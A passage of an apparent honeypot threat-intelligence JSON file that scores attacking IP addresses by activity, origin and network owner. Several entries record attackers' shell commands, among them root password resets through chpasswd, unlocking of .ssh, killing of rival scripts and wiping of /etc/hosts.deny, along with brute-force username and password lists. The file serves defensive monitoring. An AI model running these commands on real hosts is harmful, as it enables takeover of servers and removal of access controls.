        "echo \"root:PTmfncgpIs14\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:34:10.333000+00:00",
        "last_seen_30d": "2026-05-27T01:01:33.340000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 27
      }
    },
    "106.35.124.56": {
      "attack_count": 102,
      "first_seen": "2026-05-20T07:19:05.713Z",
      "last_seen": "2026-05-20T11:44:18.357Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:19:05.713000+00:00",
        "last_seen_30d": "2026-05-20T11:45:24.153000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 54
      }
    },
    "192.250.239.241": {
      "attack_count": 96,
      "first_seen": "2026-05-08T08:43:19.115Z",
      "last_seen": "2026-05-30T23:32:00.907Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 51713,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:43:19.115000+00:00",
        "last_seen_30d": "2026-05-30T23:33:05.338000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "120.28.217.84": {
      "attack_count": 90,
      "first_seen": "2026-05-19T19:05:57.987Z",
      "last_seen": "2026-05-19T22:59:10.633Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:05:57.987000+00:00",
        "last_seen_30d": "2026-05-19T23:00:20.809000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 45
      }
    },
    "190.213.180.98": {
      "attack_count": 88,
      "first_seen": "2026-05-13T09:16:07.432Z",
      "last_seen": "2026-05-13T09:18:34.228Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "%$^@",
        "3245gs5662d34",
        "345gs5662d34",
        "Qf123456",
        "anabel",
        "arm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hMrjLKQnGjAR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Trinidad and Tobago",
      "country_code": "TT",
      "city": "Chaguanas",
      "asn": 27665,
      "as_org": "Columbus Communications Trinidad Limited.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:16:07.432000+00:00",
        "last_seen_30d": "2026-05-13T09:19:41.512000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 13
      }
    },
    "35.240.29.93": {
      "attack_count": 72,
      "first_seen": "2026-05-09T09:06:11.397Z",
      "last_seen": "2026-05-09T09:07:06.956Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5008",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:06:11.397000+00:00",
        "last_seen_30d": "2026-05-09T09:08:16.955000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "5.223.67.133": {
      "attack_count": 72,
      "first_seen": "2026-05-08T16:04:56.587Z",
      "last_seen": "2026-05-28T15:18:39.163Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 215859,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:04:56.587000+00:00",
        "last_seen_30d": "2026-05-28T15:19:39.902000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "38.96.178.216": {
      "attack_count": 70,
      "first_seen": "2026-05-03T01:20:20.499Z",
      "last_seen": "2026-05-31T20:58:54.563Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:20:20.499000+00:00",
        "last_seen_30d": "2026-05-31T21:00:00.986000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "45.6.87.155": {
      "attack_count": 68,
      "first_seen": "2026-05-23T08:08:16.217Z",
      "last_seen": "2026-05-23T13:48:36.771Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Seng\u00e9s",
      "asn": 266186,
      "as_org": "Eleandro Luiz Sampaio",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:08:16.217000+00:00",
        "last_seen_30d": "2026-05-23T13:49:37.170000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 36
      }
    },
    "115.48.136.94": {
      "attack_count": 50,
      "first_seen": "2026-05-03T10:39:17.521Z",
      "last_seen": "2026-05-03T10:44:41.992Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:39:17.521000+00:00",
        "last_seen_30d": "2026-05-03T10:45:43.022000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "59.103.104.203": {
      "attack_count": 50,
      "first_seen": "2026-05-15T19:08:49.464Z",
      "last_seen": "2026-05-15T19:14:20.843Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:08:49.464000+00:00",
        "last_seen_30d": "2026-05-15T19:15:22.545000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.3.232": {
      "attack_count": 46,
      "first_seen": "2026-05-14T22:12:41.643Z",
      "last_seen": "2026-05-14T22:17:40.080Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:12:41.643000+00:00",
        "last_seen_30d": "2026-05-14T22:18:47.926000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "177.194.44.53": {
      "attack_count": 40,
      "first_seen": "2026-05-14T08:59:33.163Z",
      "last_seen": "2026-05-14T09:23:45.328Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:59:33.163000+00:00",
        "last_seen_30d": "2026-05-14T14:58:02.841000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 22
      }
    },
    "184.163.117.102": {
      "attack_count": 38,
      "first_seen": "2026-05-24T00:51:52.642Z",
      "last_seen": "2026-05-24T01:05:00.632Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Longueuil",
      "asn": 5769,
      "as_org": "Videotron Ltee",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:51:52.642000+00:00",
        "last_seen_30d": "2026-05-24T01:15:02.945000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "154.12.226.37": {
      "attack_count": 36,
      "first_seen": "2026-05-11T20:56:12.607Z",
      "last_seen": "2026-05-30T08:55:25.544Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:56:12.607000+00:00",
        "last_seen_30d": "2026-05-30T08:56:35.684000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "41.60.141.231": {
      "attack_count": 34,
      "first_seen": "2026-05-19T04:44:48.872Z",
      "last_seen": "2026-05-19T06:23:11.524Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:44:48.872000+00:00",
        "last_seen_30d": "2026-05-19T06:24:16.584000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 17
      }
    },
    "173.236.101.90": {
      "attack_count": 30,
      "first_seen": "2026-05-08T10:39:02.909Z",
      "last_seen": "2026-05-12T17:06:21.606Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:39:02.909000+00:00",
        "last_seen_30d": "2026-05-12T17:07:27.596000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "98.142.240.7": {
      "attack_count": 27,
      "first_seen": "2026-05-20T07:59:07.913Z",
      "last_seen": "2026-05-20T12:32:36.825Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19"
      ],
      "passwords_attempted": [
        "Accept-Charset: utf-8",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 202015,
      "as_org": "HZ Hosting Ltd",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 935,
        "days_active_30d": 1,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-20T07:46:23.858000+00:00",
        "last_seen_30d": "2026-05-20T12:34:02.435000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 618,
        "Honeytrap": 213,
        "Dionaea": 30,
        "Cowrie": 27,
        "Miniprint": 15,
        "Mailoney": 14,
        "ConPot": 11,
        "Sentrypeer": 2,
        "Ciscoasa": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "103.186.77.70": {
      "attack_count": 26,
      "first_seen": "2026-05-26T10:13:36.538Z",
      "last_seen": "2026-05-26T10:16:25.033Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T10:13:36.538000+00:00",
        "last_seen_30d": "2026-05-26T10:17:30.074000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "200.148.117.229": {
      "attack_count": 22,
      "first_seen": "2026-05-14T19:18:53.832Z",
      "last_seen": "2026-05-14T19:31:12.678Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:18:53.832000+00:00",
        "last_seen_30d": "2026-05-14T19:32:16.108000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "188.32.210.218": {
      "attack_count": 16,
      "first_seen": "2026-05-26T21:32:30.826Z",
      "last_seen": "2026-05-26T21:35:38.109Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:32:30.826000+00:00",
        "last_seen_30d": "2026-05-26T21:36:39.469000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "182.44.4.202": {
      "attack_count": 15,
      "first_seen": "2026-05-30T00:27:25.110Z",
      "last_seen": "2026-05-30T00:50:12.376Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "astra",
        "jeremy",
        "root"
      ],
      "passwords_attempted": [
        "12345Qwerty",
        "astra",
        "jeremy123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:27:25.110000+00:00",
        "last_seen_30d": "2026-05-30T00:51:22.052000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "103.209.60.185": {
      "attack_count": 14,
      "first_seen": "2026-05-17T15:03:55.809Z",
      "last_seen": "2026-05-17T15:04:04.148Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 63737,
      "as_org": "VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:03:55.809000+00:00",
        "last_seen_30d": "2026-05-17T15:05:06.677000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "36.140.123.73": {
      "attack_count": 13,
      "first_seen": "2026-05-29T23:48:10.160Z",
      "last_seen": "2026-05-30T00:02:26.997Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "calvin"
      ],
      "passwords_attempted": [
        "calvin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:48:10.160000+00:00",
        "last_seen_30d": "2026-05-30T00:13:10.476000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8
      }
    },
    "101.53.233.26": {
      "attack_count": 10,
      "first_seen": "2026-05-29T09:40:04.691Z",
      "last_seen": "2026-05-29T09:41:09.087Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
